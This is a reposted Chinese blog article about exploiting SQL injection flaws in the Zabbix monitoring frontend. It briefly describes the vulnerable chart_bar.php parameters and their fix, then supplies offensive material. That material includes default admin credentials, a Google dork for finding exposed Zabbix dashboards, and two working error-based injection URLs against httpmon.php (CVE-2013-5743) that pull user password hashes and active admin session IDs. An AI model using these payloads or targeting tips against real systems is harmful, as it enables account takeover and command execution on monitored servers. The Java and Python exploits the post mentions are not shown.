首页 > 代码库 > Zabbix的前台SQL注射漏洞利用
Zabbix的前台SQL注射漏洞利用
今年8月份Map在wooyun上发了个Zabbix某前台SQL注射漏洞 ,11月份才公开。
漏洞详情大约是这样的:
在zabbix前端存在一个SQL注射漏洞,由于zabbix前台可以在zabbix的server和client进行命令执行,所以这会导致很严重的后果。
在 /chart_bar.php 的163行代码 获取了一个来自GET,POST,COOKIE的值itemid。
$itemid = $item[‘itemid‘];
最后这个参数进到了SQL查询的过程
在同一个文件内的$periods参数也存在一样的问题,导致了一样的SQL注射漏洞。
修复建议:对相关参数加上zbx_dbstr函数进行过滤
wooyun上给出的Poc不好用,小伙伴改了个Java版的Exp,后来研究出了如何简单识别站点有无漏洞,Exp效果如下图:
小编反编译阅读了一下Java源码 改了个Python版本的:
脑补时间:
默认密码:admin/zabbix
Google:inurl:zabbix/dashboard.php
我们还清楚的记得
Zabbix SQL Injection/RCE – CVE-2013-5743
httpmon.php页面存在未经zbx_dbstr函数过滤导致注入
获取密码
1 2 3 | http://zabbix.secpulse.com/httpmon.php?applications=2 and (select 1 from (select count(*), concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |
获取sessionid(可替换刷新登陆)
1 2 3 4 | http://zabbix.secpulse.com/httpmon.php?applications=2 and (select 1 from (select count(*), concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e)) from zabbix.sessions where status=0 and userid=1 LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |
转载请注明:安全脉搏 » Zabbix的前台SQL注射漏洞利用
Zabbix的前台SQL注射漏洞利用
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。